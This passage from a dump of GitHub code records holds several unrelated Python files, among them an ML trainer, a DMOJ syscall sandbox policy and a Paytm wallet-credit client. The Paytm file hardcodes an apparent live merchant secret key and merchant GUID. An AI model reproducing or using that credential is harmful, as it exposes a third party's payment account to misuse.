Averaging the loss\n # Note: here the len(train_loader) is the the number \n # of iteration will be performed given the batch_size and training data\n # as in len = math.ceil(n_records/batch_size)\n avg_loss += loss.item() / len(train_loader)\n\n # Logging to console percent of epoch traning done\n self._log_epoch_progress(counter, batch_size, max_logs = 10)\n\n # Logging current epoch summary\n elapsed_time = time.time() - start_time\n print('\\n' + self._log_epoch_summary(epoch, n_epochs, avg_loss, elapsed_time))\n\n # epoch_fn is a closure that the callee can pass and is executed\n # at the end of the epoch\n if epoch_fn is not None:\n epoch_fn()\n\n # At the end of the training we are printing a summary of the\n # training (this is glance at once at the loss)\n [print(es) for es in self.epoch_log_summary]\n\n\n def predict(self, test_dataset, batch_size = 512):\n \"\"\"\n Runs a prediction on the submitted dataset\n\n Parameters\n -----------\n\n test_dataset\n batch_size\n\n \"\"\"\n # Sets the module in evaluation mode\n # ref https://discuss.pytorch.org/t/model-eval-vs-with-torch-no-grad/19615 \n self.model.eval()\n\n test_loader = torch.utils.data.DataLoader(test_dataset, batch_size=batch_size, shuffle=False)\n\n # Initialising the output numpy array\n test_preds = np.zeros((len(test_dataset), self.output_dim))\n\n # Looping through the data in batches\n for i, x_batch in enumerate(test_loader):\n # Performing a prediction (model.forward) on the batch \n # calling the sigmoid to map the result to a value between 0-1 \n y_pred = self._sigmoid(self.model(*x_batch).detach().cpu().numpy())\n # Appending to the output variable\n batch_lower_bound = i * batch_size\n batch_upper_bound = (i+1) * batch_size\n test_preds[batch_lower_bound:batch_upper_bound, :] = y_pred\n\n # Resetting the model to train mode\n self.model.train()\n\n return test_preds[:, 0]\n\n def _log_epoch_summary(self, epoch, n_epochs, avg_loss, elapsed_time):\n \n self.epoch_log_summary\\\n .append('Epoch {}/{} \\t loss={:.4f} \\t time={:.2f}s'\\\n .format(epoch + 1, n_epochs, avg_loss, elapsed_time))\n \n return self.epoch_log_summary[-1]\n\n def _log_epoch_progress(self, counter, batch_size, max_logs = 20):\n \n # Evaluates to true/false: based on the max_logs determines if it is time to log \n is_time_to_log = (counter * batch_size) % math.floor(len(self.train_dataset)/max_logs) < batch_size\n \n if is_time_to_log:\n # Calculates the percent of progress so far\n progress = counter * batch_size / len(self.train_dataset) * 100\n print('{0:.2f}'.format(progress))\n\n \n def convert_to_tensor_dataset(self, X_data):\n \n pdata = torch.tensor(X_data, dtype=torch.long)\n\n if self.cudaEnabled:\n pdata = pdata.cuda()\n\n return data.TensorDataset(pdata)\n\n\n","repo_name":"gromag/MachineLearning-Engineer-Specialisation-Capstone-Project-Udacity","sub_path":"notebooks/library/PyTorchTrainer.py","file_name":"PyTorchTrainer.py","file_ext":"py","file_size_in_byte":10973,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"26003227913","text":"import time\nimport Checksum\nimport base64\nimport requests\nimport json\nfrom collections import OrderedDict\n\ncurrentTime = str(int(round(time.time() * 1000)))\nMERCHANT_KEY = 'lfcHd@32T3UFN7%F'\ndef Payme(amount,number,order_id):\n\trequestData1 = '{\"request\":{\"requestType\": null,\"merchantGuid\":\"eb88a61c-2fce-48f1-91df-89fd002694bb\",\"merchantOrderId\":'+order_id+',\"salesWalletName\":\"PayTM\",\"salesWalletGuid\":\"cefc9ead-1f79-4ba1-a308-423d1fe04264\",\"payeeEmailId\":null,\"payeePhoneNumber\":'+number+',\"payeeSsoId\":null,\"appliedToNewUsers\":\"N\",\"amount\":'+amount+',\"currencyCode\":\"INR\",\"pendingDaysLimit\":\"0\",\"callbackURL\":\"https://paytm.com/market/salesToUserCredit\",\"cashbackPPIType\":\"0\"},\"metadata\":\"TestingData\",\"ipAddress\":\"127.0.0.0:81\",\"platformName\":\"PayTM\",\"operationType\":\"SALES_TO_USER_CREDIT\"}'\n\t\n\tchecksum = Checksum.generate_checksum_by_str(requestData1, MERCHANT_KEY)\n\t\n\theaders = {\n\t'Content-Type': 'application/json',\n\t'mid': 'eb88a61c-2fce-48f1-91df-89fd002694bb',\n\t'checksumhash': checksum\n\t}\n\t\n\tr2 = requests.post('https://trust.paytm.in/wallet-web/asyncSalesToUserCredit', data=requestData1, headers=headers)\n\treturn r2\n\n\ndef CheckStatus(order_id):\n\trequestData1 = '{\"request\":{\"requestType\": \"merchanttxnId\",\"txnType\":\"SALES_TO_USER_CREDIT\",\"txnId\": '+order_id+',\"merchantGuid\" : \"eb88a61c-2fce-48f1-91df-89fd002694bb\"},\"ipAddress\":\"127.0.0.0:81\",\"platformName\":\"PayTM\",\"operationType\":\"CHECK_TXN_STATUS\",\"channel\":\"\",\"version\":\"\"}'\n\n\tchecksum = Checksum.generate_checksum_by_str(requestData1, MERCHANT_KEY)\n\t\n\theaders = {\n\t'Content-Type': 'application/json',\n\t'mid': 'eb88a61c-2fce-48f1-91df-89fd002694bb',\n\t'checksumhash': checksum\n\t}\n\t\n\tr2 = requests.post('https://trust.paytm.in/wallet-web/txnStatusList', data=requestData1, headers=headers)\n\treturn r2\n\n\ndef ExecutePaytmPayment(amount,number,order_id):\n\tres=Payme('\\\"'+amount+'\\\"','\\\"'+number+'\\\"','\\\"'+order_id+'\\\"')\n\tresJ=json.loads(res.text)\n\treturn resJ\n\ndef CheckOrderStatus(order_id):\n status=CheckStatus('\\\"'+str(order_id)+'\\\"')\n check=json.loads(status.text)\n if \"txnList\" not in check.keys():\n return check,False\n else:\n return check[\"txnList\"][0],True\n\n\n\n","repo_name":"rajnish42413/genz360-api","sub_path":"paytm.py","file_name":"paytm.py","file_ext":"py","file_size_in_byte":2158,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"11713937192","text":"#!/usr/bin/env python\n# coding: utf-8\n\n# # Make an MTH5 from Phoenix Data\n#\n# This example demonstrates how to read Phoenix data into an MTH5 file. The data comes from example data in [PhoenixGeoPy](https://github.com/torresolmx/PhoenixGeoPy). Here I downloaded those data into a local folder on my computer by forking the main branch.\n\n# ## Imports\n\n# =============================================================================\n# Imports\n# =============================================================================\nfrom pathlib import Path\n\nfrom mth5.mth5 import MTH5\nfrom mth5 import read_file\nfrom mth5.io.phoenix import PhoenixCollection\n\n# =============================================================================\n\n\nclass PhoenixClient:\n def __init__(\n self,\n data_path,\n sample_rates=[130, 24000],\n save_path=None,\n calibration_path=None,\n ):\n self.data_path = data_path\n self.sample_rates = sample_rates\n self.save_path = save_path\n self.mth5_filename = \"from_phoenix.h5\"\n self.calibration_path = calibration_path\n\n self.collection = PhoenixCollection(self.data_path)\n\n @property\n def data_path(self):\n \"\"\"Path to phoenix data\"\"\"\n return self._data_path\n\n @data_path.setter\n def data_path(self, value):\n \"\"\"\n\n :param value: DESCRIPTION\n :type value: TYPE\n :return: DESCRIPTION\n :rtype: TYPE\n\n \"\"\"\n\n if value is not None:\n self._data_path = Path(value)\n if not self._data_path.exists():\n raise IOError(f\"Could not find {self._data_path}\")\n\n self.collection = PhoenixCollection(self.data_path)\n\n else:\n raise ValueError(\"data_path cannot be None\")\n\n @property\n def calibration_path(self):\n \"\"\"Path to calibration data\"\"\"\n return self._calibration_path\n\n @calibration_path.setter\n def calibration_path(self, value):\n \"\"\"\n\n :param value: DESCRIPTION\n :type value: TYPE\n :return: DESCRIPTION\n :rtype: TYPE\n\n \"\"\"\n\n if value is not None:\n self._calibration_path = Path(value)\n if not self._calibration_path.exists():\n raise IOError(f\"Could not find {self._calibration_path}\")\n\n else:\n raise ValueError(\"calibration_path cannot be None\")\n\n @property\n def sample_rates(self):\n \"\"\"sample rates to look for\"\"\"\n return self._sample_rates\n\n @sample_rates.setter\n def sample_rates(self, value):\n \"\"\"\n sample rates set to a list\n\n :param value: DESCRIPTION\n :type value: TYPE\n :return: DESCRIPTION\n :rtype: TYPE\n\n \"\"\"\n\n if isinstance(value, (int, float)):\n self._value = [value]\n elif isinstance(value, str):\n self._value = [float(v) for v in value.split(\",\")]\n\n elif isinstance(value, (tuple, list)):\n self._value = [float(v) for v in value]\n else:\n raise TypeError(f\"Cannot parse {type(value)}\")\n\n @property\n def save_path(self):\n \"\"\"Path to save mth5\"\"\"\n return self._save_path\n\n @save_path.setter\n def save_path(self, value):\n \"\"\"\n\n :param value: DESCRIPTION\n :type value: TYPE\n :return: DESCRIPTION\n :rtype: TYPE\n\n \"\"\"\n\n if value is not None:\n self._save_path = Path(value)\n if self._save_path.is_dir():\n self._save_path = self._save_path.joinpath(self.mth5_filename)\n\n else:\n self._save_path = self.data_path.joinpath(self.mth5_filename)\n\n def get_run_dict(self):\n \"\"\"\n Get Run information\n\n :return: DESCRIPTION\n :rtype: TYPE\n\n \"\"\"\n\n return self.collection.get_runs(sample_rates=self.sample_rates)\n\n def make_mth5_from_phoenix(self, **kwargs):\n \"\"\"\n Make an MTH5 from Phoenix files. Split into runs, account for filters\n\n :param data_path: DESCRIPTION, defaults to None\n :type data_path: TYPE, optional\n :param sample_rates: DESCRIPTION, defaults to None\n :type sample_rates: TYPE, optional\n :param save_path: DESCRIPTION, defaults to None\n :type save_path: TYPE, optional\n :return: DESCRIPTION\n :rtype: TYPE\n\n \"\"\"\n\n for key, value in kwargs.items():\n if value is not None:\n setattr(self, key, value)\n\n run_dict = self.get_run_dict()\n\n with MTH5() as m:\n m.open_mth5(self.save_path, \"w\")\n\n for station_id, station_dict in run_dict.items():\n survey_metadata = self.collection.metadata_dict[\n station_id\n ].survey_metadata\n survey_group = m.add_survey(survey_metadata.id)\n\n station_metadata = self.collection.metadata_dict[\n station_id\n ].station_metadata\n station_group = survey_group.stations_group.add_station(\n station_metadata.id, station_metadata=station_metadata\n )\n for run_id, run_df in station_dict.items():\n run_metadata = self.collection.metadata_dict[\n station_id\n ].run_metadata\n run_metadata.id = run_id\n run_metadata.sample_rate = float(\n run_df.sample_rate.unique()[0]\n )\n\n run_group = station_group.add_run(\n run_metadata.id, run_metadata=run_metadata\n )\n for row in run_df.itertuples():\n ch_ts = read_file(row.fn)\n\n # add channel to the run group\n run_group.from_channel_ts(ch_ts)\n\n run_group.update_run_metadata()\n\n station_group.update_station_metadata()\n survey_group.update_survey_metadata()\n","repo_name":"kujaku11/mth5","sub_path":"mth5/clients/phoenix.py","file_name":"phoenix.py","file_ext":"py","file_size_in_byte":6056,"program_lang":"python","lang":"en","doc_type":"code","stars":11,"dataset":"github-code","pt":"53"}
+{"seq_id":"1886390675","text":"from djoser.serializers import UserCreateSerializer, UserSerializer\nfrom rest_framework import serializers\nfrom rest_framework.validators import UniqueTogetherValidator\n\nfrom api.models import Recipe\nfrom users.mixins import IsSubscribedMixin\nfrom users.models import Follow, UserProfile\n\n\nclass UserProfileSerializer(UserSerializer, IsSubscribedMixin):\n is_subscribed = serializers.SerializerMethodField()\n\n class Meta:\n model = UserProfile\n fields = (\n 'id', 'last_name', 'username', 'first_name',\n 'email', 'is_subscribed'\n )\n\n\nclass UserProfileFollowSerializer(serializers.ModelSerializer):\n class Meta:\n model = Follow\n fields = ('user', 'following')\n validators = [\n UniqueTogetherValidator(\n queryset=Follow.objects.all(),\n fields=('user', 'following'),\n message=('Вы уже подписаны')\n )\n ]\n\n def validate(self, data):\n request = self.context.get('request')\n if not request or request.user.is_anonymous:\n return False\n following = data['following']\n if request.user == following:\n raise serializers.ValidationError(\n 'Нельзя подписаться на себя!'\n )\n return data\n\n\nclass UserProfileCreateSerializer(UserCreateSerializer):\n class Meta:\n model = UserProfile\n fields = ('first_name', 'last_name', 'email', 'username', 'password')\n\n\nclass RecipeFollowSerializer(serializers.ModelSerializer):\n class Meta:\n model = Recipe\n fields = ('id', 'name', 'image', 'cooking_time')\n\n\nclass FollowListSerializer(serializers.ModelSerializer, IsSubscribedMixin):\n recipes_count = serializers.SerializerMethodField(read_only=True)\n recipes = serializers.SerializerMethodField(read_only=True)\n\n class Meta:\n model = UserProfile\n fields = ('email', 'id', 'username', 'first_name', 'last_name',\n 'is_subscribed', 'recipes', 'recipes_count')\n\n def get_recipes(self, obj):\n request = self.context.get('request')\n if not request or request.user.is_anonymous:\n return False\n context = {'request': request}\n recipes_limit = request.query_params.get('recipes_limit')\n if recipes_limit is not None:\n recipes = obj.recipes.all()[:int(recipes_limit)]\n else:\n recipes = obj.recipes.all()\n return RecipeFollowSerializer(\n recipes, many=True, context=context).data\n\n def get_recipes_count(self, obj):\n return obj.recipes.count()\n","repo_name":"matyusovp/foodgram-project-react","sub_path":"backend/users/serializers.py","file_name":"serializers.py","file_ext":"py","file_size_in_byte":2651,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"12791131510","text":"from src.config import base_config\nfrom src.dqn_agent import DQNAgent\nfrom src.drqn_agent import DRQNAgent\nfrom src.goru_agent import GORUAgent\nfrom src.eunn_agent import EUNNAgent\nimport argparse\n\nclass Main():\n def __init__(self, network_type, conf):\n if network_type=='dqn':\n print('DQN')\n self.agent=DQNAgent(conf)\n elif network_type=='drqn':\n print('LSTM-DRQN')\n self.agent=DRQNAgent(conf)\n elif network_type=='goru':\n print('GORU-DRQN')\n self.agent=GORUAgent(conf)\n elif network_type=='eunn':\n print('EUNN-DRQN')\n self.agent=EUNNAgent(conf)\n else:\n raise ValueError('Incompatible network type '+network_type)\n\n def train(self, steps):\n self.agent.train(steps)\n\n def play(self, episodes, net_path):\n self.agent.play(episodes, net_path, verbose=True)\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser(description=\"Parser\")\n parser.add_argument(\"--network_type\", type=str, default=\"dqn\", help=\"Type of the network to build, can either be 'dqn' or 'drqn' or 'goru'\")\n parser.add_argument(\"--train\", type=str, default=\"True\", help=\"Whether to train a network or to play with a given network\")\n parser.add_argument(\"--model_dir\", type=str, default=\"saved_session/net/\", help=\"directory to save the model and replay memory during training\")\n parser.add_argument(\"--net_path\", type=str, default=\"\", help=\"path to checkpoint of model\")\n parser.add_argument(\"--steps\", type=int, default=10000000, help=\"number of frames to train\")\n args, remaining = parser.parse_known_args()\n\n conf=base_config()\n conf.network_type = args.network_type\n conf.train = args.train\n conf.dir_save = args.model_dir\n conf.train_steps = args.steps\n main = Main(conf.network_type, conf)\n\n if conf.train == \"True\":\n print(conf.train)\n main.train(conf.train_steps)\n else:\n assert args.net_path != \"\", \"Please specify a net_path using the option --net_path\"\n main.play(500, args.net_path)","repo_name":"layjain/GridWorldCode","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2098,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"53"}
+{"seq_id":"38106753892","text":"import requests\nfrom app import app\n\napi_key = app.config[\"API_KEY\"]\n\n# get all news sources\ndef get_sources():\n res = requests.get(f\"https://newsapi.org/v2/top-headlines/sources?apiKey={api_key}\")\n return res.json()\n\n# gets the news depending on the resource specified\ndef get_news(resource, news_source):\n base_url = app.config[\"BASE_URL\"]\n res = requests.get(base_url.format(resource, news_source, api_key))\n\n return res.json()\n","repo_name":"ismailPervez/news-news-news","sub_path":"app/request.py","file_name":"request.py","file_ext":"py","file_size_in_byte":446,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"22570091242","text":"import hashlib\nimport json\nimport re\n\nfrom hashlib import md5\n\n\ndef formata_numero_processo(numero_processo):\n mascara = \"{0}-{1}.{2}.{3}.{4}.{5}\"\n\n primeira_parte = slice(0, 7)\n segunda_parte = slice(7, 9)\n terceira_parte = slice(9, 13)\n quarta_parte = slice(13, 14)\n quinta_parte = slice(14, 16)\n sexta_parte = slice(16, 20)\n\n return mascara.format(\n numero_processo[primeira_parte],\n numero_processo[segunda_parte],\n numero_processo[terceira_parte],\n numero_processo[quarta_parte],\n numero_processo[quinta_parte],\n numero_processo[sexta_parte]\n )\n\n\ndef limpa_conteudo(conteudo_sujo):\n return re.sub(r'\\s+', ' ', conteudo_sujo).strip()\n\n\ndef remove_data_consulta(html):\n html = html.decode('latin-1')\n return re.sub(\n r'TJ/RJ -\\r\\n '\n r'\\d{2}/\\d{2}/\\d{4} \\d{2}:\\d{2}:\\d{2}',\n '',\n html).encode()\n\n\ndef cria_hash_do_processo(html):\n return md5(html.encode()).hexdigest()\n\n\ndef cria_hash_do_movimento(item):\n chaves = sorted(item.keys())\n valores = [item[chave] for chave in chaves]\n itens_ordenados = list(zip(chaves, valores))\n item_json = json.dumps(itens_ordenados)\n return hashlib.md5(item_json.encode()).hexdigest()\n","repo_name":"MinisterioPublicoRJ/processostjrj","sub_path":"processostjrj/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":1267,"program_lang":"python","lang":"pt","doc_type":"code","stars":4,"dataset":"github-code","pt":"53"}
+{"seq_id":"5049427177","text":"import os\nfrom common.readyaml import read_yaml_data\n\n\n# 获取主目录路径\nROOT_DIR = str(os.path.realpath(__file__)).split('config')[0].replace('\\\\', '/')\n\n# 获取配置文件路径\nAPI_CONFIG = ROOT_DIR+'config/apiConfig.yaml'\nRUN_CONFIG = ROOT_DIR+'config/runConfig.yaml'\n\n\n# 获取运行配置信息\nRC = read_yaml_data(RUN_CONFIG)\nINTERVAL = RC['interval']\nPROJECT_NAME = RC['project_name']\n\n# 获取项目信息配置\nAC = read_yaml_data(API_CONFIG)\nHOST = AC[PROJECT_NAME]['host']\nHEADER = AC[PROJECT_NAME]['header']\nCOOKIES = AC[PROJECT_NAME]['cookies']\n\n\n\n\n# 测试数据目录(test.yaml)\nPAGE_DIR = ROOT_DIR+PROJECT_NAME+'/page'\n# 测试脚本目录(test.py)\nTEST_DIR = ROOT_DIR+PROJECT_NAME+'/testcase'\n# 测试报告目录(xml|html)\nREPORT_DIR = ROOT_DIR+PROJECT_NAME+'/report'\n# 参数化数据目录\nPARAM_DIR = ROOT_DIR+PROJECT_NAME +'/contract'","repo_name":"weiyujie001/api_auto_py","sub_path":"config/__init__.py","file_name":"__init__.py","file_ext":"py","file_size_in_byte":866,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"8033317857","text":"from __future__ import print_function\n\nimport logging\nimport os\nimport re\nimport sys\n\nfrom dmoj.cptbox._cptbox import bsd_get_proc_cwd, bsd_get_proc_fdno, AT_FDCWD\nfrom dmoj.cptbox.handlers import ALLOW, ACCESS_DENIED, ACCESS_ENOENT\n# noinspection PyUnresolvedReferences\nfrom dmoj.cptbox.syscalls import *\nfrom dmoj.utils.unicode import utf8text\n\nlog = logging.getLogger('dmoj.security')\n\n\nclass CHROOTSecurity(dict):\n def __init__(self, filesystem, writable=(1, 2)):\n super(CHROOTSecurity, self).__init__()\n self.fs_jail = re.compile('|'.join(filesystem) if filesystem else '^')\n self._writable = list(writable)\n\n if sys.platform.startswith('freebsd'):\n self._getcwd_pid = lambda pid: utf8text(bsd_get_proc_cwd(pid))\n self._getfd_pid = lambda pid, fd: utf8text(bsd_get_proc_fdno(pid, fd))\n else:\n self._getcwd_pid = lambda pid: os.readlink('/proc/%d/cwd' % pid)\n self._getfd_pid = lambda pid, fd: os.readlink('/proc/%d/fd/%d' % (pid, fd))\n\n self.update({\n # Deny with report\n sys_openat: self.check_file_access_at('openat', is_open=True),\n sys_faccessat: self.check_file_access_at('faccessat'),\n sys_open: self.check_file_access('open', 0, is_open=True),\n sys_access: self.check_file_access('access', 0),\n sys_mkdir: self.check_file_access('mkdir', 0),\n sys_unlink: self.check_file_access('unlink', 0),\n sys_readlink: self.check_file_access('readlink', 0),\n sys_readlinkat: self.check_file_access_at('readlinkat'),\n sys_stat: self.check_file_access('stat', 0),\n sys_stat64: self.check_file_access('stat64', 0),\n sys_lstat: self.check_file_access('lstat', 0),\n sys_lstat64: self.check_file_access('lstat64', 0),\n sys_fstatat: self.check_file_access_at('fstatat'),\n sys_tgkill: self.do_tgkill,\n sys_kill: self.do_kill,\n sys_prctl: self.do_prctl,\n\n sys_read: ALLOW,\n sys_write: ALLOW,\n sys_writev: ALLOW,\n sys_statfs: ALLOW,\n sys_statfs64: ALLOW,\n sys_getpgrp: ALLOW,\n sys_restart_syscall: ALLOW,\n sys_select: ALLOW,\n sys_newselect: ALLOW,\n sys_modify_ldt: ALLOW,\n sys_ppoll: ALLOW,\n\n sys_getgroups32: ALLOW,\n sys_sched_getaffinity: ALLOW,\n sys_sched_getparam: ALLOW,\n sys_sched_getscheduler: ALLOW,\n sys_sched_get_priority_min: ALLOW,\n sys_sched_get_priority_max: ALLOW,\n sys_timerfd_create: ALLOW,\n sys_timer_create: ALLOW,\n sys_timer_settime: ALLOW,\n sys_timer_delete: ALLOW,\n\n sys_sigprocmask: ALLOW,\n sys_rt_sigreturn: ALLOW,\n sys_sigreturn: ALLOW,\n sys_nanosleep: ALLOW,\n sys_sysinfo: ALLOW,\n sys_getrandom: ALLOW,\n\n sys_socket: ACCESS_DENIED,\n sys_socketcall: ACCESS_DENIED,\n\n sys_close: ALLOW,\n sys_dup: ALLOW,\n sys_dup2: ALLOW,\n sys_dup3: ALLOW,\n sys_fstat: ALLOW,\n sys_mmap: ALLOW,\n sys_mremap: ALLOW,\n sys_mprotect: ALLOW,\n sys_madvise: ALLOW,\n sys_munmap: ALLOW,\n sys_brk: ALLOW,\n sys_fcntl: ALLOW,\n sys_arch_prctl: ALLOW,\n sys_set_tid_address: ALLOW,\n sys_set_robust_list: ALLOW,\n sys_futex: ALLOW,\n sys_rt_sigaction: ALLOW,\n sys_rt_sigprocmask: ALLOW,\n sys_getrlimit: ALLOW,\n sys_ioctl: ALLOW,\n sys_getcwd: ALLOW,\n sys_geteuid: ALLOW,\n sys_getuid: ALLOW,\n sys_getegid: ALLOW,\n sys_getgid: ALLOW,\n sys_getdents: ALLOW,\n sys_lseek: ALLOW,\n sys_getrusage: ALLOW,\n sys_sigaltstack: ALLOW,\n sys_pipe: ALLOW,\n sys_clock_gettime: ALLOW,\n sys_clock_getres: ALLOW,\n sys_gettimeofday: ALLOW,\n sys_getpid: ALLOW,\n sys_getppid: ALLOW,\n sys_sched_yield: ALLOW,\n\n sys_clone: ALLOW,\n sys_exit: ALLOW,\n sys_exit_group: ALLOW,\n sys_gettid: ALLOW,\n\n # x86 specific\n sys_mmap2: ALLOW,\n sys_fstat64: ALLOW,\n sys_set_thread_area: ALLOW,\n sys_ugetrlimit: ALLOW,\n sys_uname: ALLOW,\n sys_getuid32: ALLOW,\n sys_geteuid32: ALLOW,\n sys_getgid32: ALLOW,\n sys_getegid32: ALLOW,\n sys_llseek: ALLOW,\n sys_fcntl64: ALLOW,\n sys_time: ALLOW,\n sys_prlimit64: ALLOW,\n sys_getdents64: ALLOW,\n })\n\n # FreeBSD-specific syscalls\n if 'freebsd' in sys.platform:\n self.update({\n sys_obreak: ALLOW,\n sys_sysarch: ALLOW,\n sys_sysctl: ALLOW, # TODO: More strict?\n sys_issetugid: ALLOW,\n sys_rtprio_thread: ALLOW, # EPERMs when invalid anyway\n sys_umtx_op: ALLOW, # http://fxr.watson.org/fxr/source/kern/kern_umtx.c?v=FREEBSD60#L720\n sys_nosys: ALLOW, # what?? TODO: this shouldn't really exist, so why is Python calling it?\n sys_getcontext: ALLOW,\n sys_setcontext: ALLOW,\n sys_pread: ALLOW,\n sys_fsync: ALLOW,\n sys_shm_open: self.check_file_access('shm_open', 0),\n sys_cpuset_getaffinity: ALLOW,\n sys_thr_new: ALLOW,\n sys_thr_exit: ALLOW,\n sys_thr_kill: ALLOW,\n sys_thr_self: ALLOW,\n sys__mmap: ALLOW,\n sys___mmap: ALLOW,\n sys_sigsuspend: ALLOW,\n sys_clock_getcpuclockid2: ALLOW,\n sys_fstatfs: ALLOW,\n sys_getdirentries: ALLOW, # TODO: maybe check path?\n sys_getdtablesize: ALLOW,\n sys_kqueue: ALLOW,\n sys_kevent: ALLOW,\n sys_ktimer_create: ALLOW,\n sys_ktimer_settime: ALLOW,\n sys_ktimer_delete: ALLOW,\n sys_cap_getmode: ALLOW,\n sys_minherit: ALLOW,\n })\n\n def check_file_access(self, syscall, argument, is_open=False):\n def check(debugger):\n file_ptr = getattr(debugger, 'uarg%d' % argument)\n file = debugger.readstr(file_ptr)\n file, accessible = self._file_access_check(file, debugger, debugger.uarg0 if is_open else None)\n if accessible:\n return True\n log.info('Denied access via syscall %s: %s', syscall, file)\n return ACCESS_ENOENT(debugger)\n return check\n\n def check_file_access_at(self, syscall, is_open=False):\n def check(debugger):\n file = debugger.readstr(debugger.uarg1)\n file, accessible = self._file_access_check(file, debugger, debugger.uarg0 if is_open else None,\n dirfd=debugger.arg0, flag_reg=2)\n if accessible:\n return True\n log.info('Denied access via syscall %s: %s', syscall, file)\n return ACCESS_ENOENT(debugger)\n return check\n\n def _file_access_check(self, rel_file, debugger, orig_uarg0=None, flag_reg=1, dirfd=AT_FDCWD):\n try:\n file = self.get_full_path(debugger, rel_file, dirfd)\n except UnicodeDecodeError:\n log.exception('Unicode decoding error while opening relative to %d: %r', dirfd, rel_file)\n return '(undecodable)', False\n if self.fs_jail.match(file) is None:\n return file, False\n return file, True\n\n def get_full_path(self, debugger, file, dirfd=AT_FDCWD):\n dirfd = (dirfd & 0x7FFFFFFF) - (dirfd & 0x80000000)\n if not file.startswith('/'):\n dir = (self._getcwd_pid(debugger.pid) if dirfd == AT_FDCWD else\n self._getfd_pid(debugger.pid, dirfd))\n file = os.path.join(dir, file)\n file = '/' + os.path.normpath(file).lstrip('/')\n return file\n\n def do_kill(self, debugger):\n return debugger.uarg0 == debugger.pid\n\n def do_tgkill(self, debugger):\n tgid = debugger.uarg0\n\n # Allow tgkill to execute as long as the target thread group is the debugged process\n # libstdc++ seems to use this to signal itself, see \n return tgid == debugger.pid\n\n def do_prctl(self, debugger):\n # PR_GET_DUMPABLE = 3\n # PR_SET_NAME = 15\n # PR_SET_VMA = 0x53564d41, used on Android\n return debugger.arg0 in (3, 15, 0x53564d41)\n","repo_name":"alps-jbnu/litmus-judge","sub_path":"dmoj/cptbox/chroot.py","file_name":"chroot.py","file_ext":"py","file_size_in_byte":8910,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"53"}
+{"seq_id":"5612767088","text":"import argparse\nimport cv2\nimport onnxruntime\nimport numpy as np\nimport time\n\nimport box_utils\n\n\ndef preprocess_ultraface(image: cv2) -> np.ndarray:\n image = cv2.cvtColor(image, cv2.COLOR_BGR2RGB)\n image_mean = np.array([127, 127, 127])\n image = (image - image_mean) / 128\n image = np.transpose(image, [2, 0, 1])\n image = np.expand_dims(image, axis=0)\n return image.astype(np.float32)\n\n\nONNX_DATA = {\n # modelname: filename, preprocess_func, (height, width)\n \"ultraface_640\": (\"version-RFB-640.onnx\", preprocess_ultraface, (640, 480)),\n}\n\nRED = (0, 255, 255)\nWHITE = (255, 255, 255)\n\n\ndef main():\n parser = argparse.ArgumentParser(\"Test for ML Application\")\n parser.add_argument(\"--print_time\", default=False, type=bool)\n parser.add_argument(\"--model\", default=\"ultraface_640\", type=str)\n\n args = parser.parse_args()\n\n filename, func, size = ONNX_DATA[args.model]\n\n # VideoCapture オブジェクトを取得します\n capture = cv2.VideoCapture(0)\n\n sess = onnxruntime.InferenceSession(filename)\n\n while(True):\n times = []\n begin = time.time()\n times.append(begin)\n ret, frame = capture.read()\n times.append(time.time())\n # resize the window\n frame = cv2.resize(frame, size)\n img_arr = func(frame)\n times.append(time.time())\n rdict = sess.run([\"scores\", \"boxes\"], {\"input\": img_arr})\n times.append(time.time())\n\n # boxes (k, 4): an array of boxes kept\n # labels (k): an array of labels for each boxes kept\n # probs (k): an array of probabilities for each boxes being in corresponding labels\n boxes, labels, probs = box_utils.predict(\n size[0], size[1], rdict[0], rdict[1], 0.7)\n boxes = boxes[probs > 0.7]\n labels = labels[probs > 0.7]\n\n for box, label in zip(boxes, labels):\n pt0, pt1 = (box[0], box[1]), (box[2], box[3])\n frame = cv2.rectangle(frame, pt0, pt1, RED, thickness=1)\n font = cv2.FONT_HERSHEY_SIMPLEX\n cv2.putText(frame, str(label), pt1, font, 4,\n WHITE, 2, cv2.LINE_AA)\n\n cv2.imshow('title', frame)\n end = time.time()\n times.append(time.time())\n\n times = np.array(times)\n times = times[1:] - times[:len(times) - 1]\n times *= 1000.0\n\n if args.print_time:\n print(times)\n print(f\"FPS:{(1.0 / (end - begin))}\")\n\n if cv2.waitKey(1) & 0xFF == ord('q'):\n break\n\n capture.release()\n cv2.destroyAllWindows()\n\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"nomaddo/ultraface_use_example","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":2604,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
+{"seq_id":"73570460649","text":"def calc_total_gas(liters, type_gas): \n total = 0\n GAS_PRICE = 2.50\n ALCOHOL_PRICE = 1.90\n if liters <= 20:\n if type_gas == \"G\":\n total = liters * GAS_PRICE * 0.97\n else:\n total = liters * ALCOHOL_PRICE * 0.96\n else:\n if type_gas == \"G\":\n total = liters * GAS_PRICE * 0.95\n else: \n total = liters * ALCOHOL_PRICE * 0.94\n return round(total, 2)\n\nprint(calc_total_gas(19, \"G\"))","repo_name":"felipedias1/trybe-exercises","sub_path":"4- Ciencia da Computacao/33.IntroPython/33.1-IntroComputerSciency/bonus4.py","file_name":"bonus4.py","file_ext":"py","file_size_in_byte":465,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"53"}
